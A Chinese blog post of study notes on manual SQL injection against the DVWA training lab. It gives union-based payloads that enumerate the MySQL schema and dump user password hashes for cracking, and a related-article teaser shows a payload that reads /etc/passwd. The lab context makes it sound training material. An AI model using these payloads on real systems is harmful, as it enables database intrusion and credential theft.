终于到了SQL注入

最大的、最经典的、最常见的Web漏洞就是SQL注入漏洞

SQL注入的原理这里就不说了,百度

打开DVWA,SQL注入测试模块

测试单引号,发现出错,于是想到测试语句:

1' or '1'='1

成功:

测试是否存在漏洞:

1' and '1'='1  如果返回数据,但是1' and '1'='0 不返回数据,代表存在sql注入

或者简易一些:1' and '1 返回但是1' and '0不返回数据

进一步:

猜测当前SQL语句总共查询了多少字段:

' order by 50 --

注意--后边必须跟一个空格,--作用是注释最后一个单引号,必须跟空格

首先猜测50过大会报错:

Unknown column '50' in 'order clause'

然后继续猜测小于五十的数:

直到我猜测到2

当我把这里修改成2后,提交没有任何反应

于是得出结论:查询了两个字段,源码验证sql语句为:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

猜测成功,查询了两个字段

接下来我想在后边加入select语句来执行查询命令:

不过两个select语句连在一起是不允许的

于是想到使用联合查询(union)

注意:--跟上空格

这时候可以进一步确定:firstname为第一个字段,surname是第二个字段

既然知道了1,2对应的位置,那么就可以使用SQL函数来查询其他信息:

比如这里我查询到了数据库当前的用户

再使用:' union select user(),version() --

可以查到数据库版本:

联系日常经验:5版本的数据库不会是MSSQL或者Oracle

最流行的5版本数据库就是MySQL

查询当前数据库:database函数

' union select user(),database() --

使用全局函数:

' union select user(),@@datadir --

类似地:

' union select user(),@@hostname --

查询操作系统:

' union select user(),@@version_compile_os --

切分字符串的功能:

' union select null,substring_index(USER(),"@",1) --

这句话的意思是查出来user信息,然后以@分隔开,取前一部分

有时候我们提交的字符会被服务器过滤,于是可以使用SQL的CHAR函数进行ASCII码转换

如果我们需要查很多的函数,而显示的位置很好,可以联合函数CONCAT_WS

使用一个稍复杂的SQL语句:

' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null --

这里的CHAR(32,58,32)是空格冒号空格,方便显示

MySQL的数据存储相对简单,有一个元数据表infotmation_schema表

于是可以利用这张表查询数据库的很多信息:

查询所有库里面的所有表:

' union select table_name,table_schema from information_schema.tables --

找到了dvwa库里面的很多表:

查询每一个库有多少表:

' union select table_schema,count(*) from information_schema.tables group by table_schema --

只针对dvwa库进行查询:

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' --

查询dvwa库中users表都有哪些字段:

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' --

知道了有user和password两列,我们就可以直接进行查询了:

' union select user,password from dvwa.users --

查到了所有的用户名和加密的密码

使用concat来改一下显示格式也行:

' union select null,concat(user,0x3a,password) from dvwa.users --

加密的密码根据长度猜测为MD5加密

也可以使用Kali的hash-identifier来验证:

于是考虑如何解密:把这些指定格式的用户名密码复制出来,弄到一个文本中

破解成功:

Kali学习笔记39:SQL手工注入(1)的更多相关文章

  1. Kali学习笔记42:SQL手工注入(4)

    前三篇文章都是在讲发现SQL注入漏洞 如何查询得到所有的信息 那么另一条思路还未尝试过:能否修改数据? 例如这样: '; update users set user='yiqing' where us ...

  2. 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

    SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...

  3. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

  4. SQL反模式学习笔记21 SQL注入

    目标:编写SQL动态查询,防止SQL注入 通常所说的“SQL动态查询”是指将程序中的变量和基本SQL语句拼接成一个完整的查询语句. 反模式:将未经验证的输入作为代码执行 当向SQL查询的字符串中插入别 ...

  5. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

  6. Oracle学习笔记三 SQL命令

    SQL简介 SQL 支持下列类别的命令: 1.数据定义语言(DDL) 2.数据操纵语言(DML) 3.事务控制语言(TCL) 4.数据控制语言(DCL)  

  7. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

  8. 【新手篇】搭建DCN漏洞靶机及简单的SQL手工注入

    很多新手小白入门后发现想要学好“网安”技术,除了掌握基础理论知识,更需要经常模拟不同的漏洞环境,但是如果使用外网服务器练习,会存在一定风险,因此能够搭建一个本地的模拟环境去测试漏洞将是一个不错的方案. ...

  9. .NET CORE学习笔记系列(2)——依赖注入[7]: .NET Core DI框架[服务注册]

    原文https://www.cnblogs.com/artech/p/net-core-di-07.html 包含服务注册信息的IServiceCollection对象最终被用来创建作为DI容器的IS ...

随机推荐

  1. Libsvm Java

    在java环境下用Libsvm包解决一个多分类问题. 1.将训练数据和测试数据按照libsvm的数据格式存放 可以写程序直接构造,libsvm的数据格式如下 Label 1:value 2:value ...

  2. 创建服务的注册与发现 Eureka (四)

    一.eureka注册中心 1.创建一个工程 工程名:microservicecloud-eureka-7001 2.向pom文件中增加如下: <dependencies> <!--e ...

  3. ClassLoader的工作机制

    本文中主要介绍类加载器的工作机制 一:首先什么是类加载器? 类加载器就是用来加载java类到java虚拟机中.java源程序经过编译之后形成字节码文件,类加载器将字节码文件加载到内存中,并转换成jav ...

  4. GUI学习之八——复选框QCheckBox的学习总结

    一.描述 a.QCheckBox一般用于给用户提供若干选项中多个选择时的使用 b.控件左侧有一个方框来显示控件被选中. c.复选框是有三种状态的 二.使用 1.创建 复选框的创建和常规的按钮创建方式是 ...

  5. HttpServletRequest字符集问题

    post中文处理 1post在spring里的设置web.xml文件 <!-- 字符处理 UTF8 --> <filter> <filter-name>encodi ...

  6. <taglib>报错

    问题:web.xml中<taglib>报错 2.3版本可以直接卸载<web-app>中 2.4及之后放在<jsp-config>中 <jsp-config&g ...

  7. powershell脚本找修改的文件

    $sourcedir="D:\workspace" $targetdir="E:\newf" $lastdate="2017-05-19" ...

  8. Hibernate中的实体规则、对象状态和进阶-一级缓存

    一.hibernate中的实体规则 1.实体类创建的注意事项 2.主键类型 3.主键生成策略 (1)代理主键 (2)自然主键 二.hibernate中的对象状态 1.对象分为三种状态 2.三种状态的转 ...

  9. MySQL事物管理

    sql语句对数据库操作构成事物. 事物的特性:ACID •Atomicity(原子性):一个事物要么全都被执行,要么全都不执行,不会存在执行结束在中间环节.如果事物在执行过程中发生异常,则会回滚到事物 ...

  10. uboot中获取dts资源并操作gpio口

    设备树(DTS)的引入减少了内核为支持新硬件而需要的改变,提高代码重用,使得单个内核镜像能支持多个系统.    DTS作为U-Boot 和Linux 内核之间的动态接口,能够有效减少重复配置,共享于U ...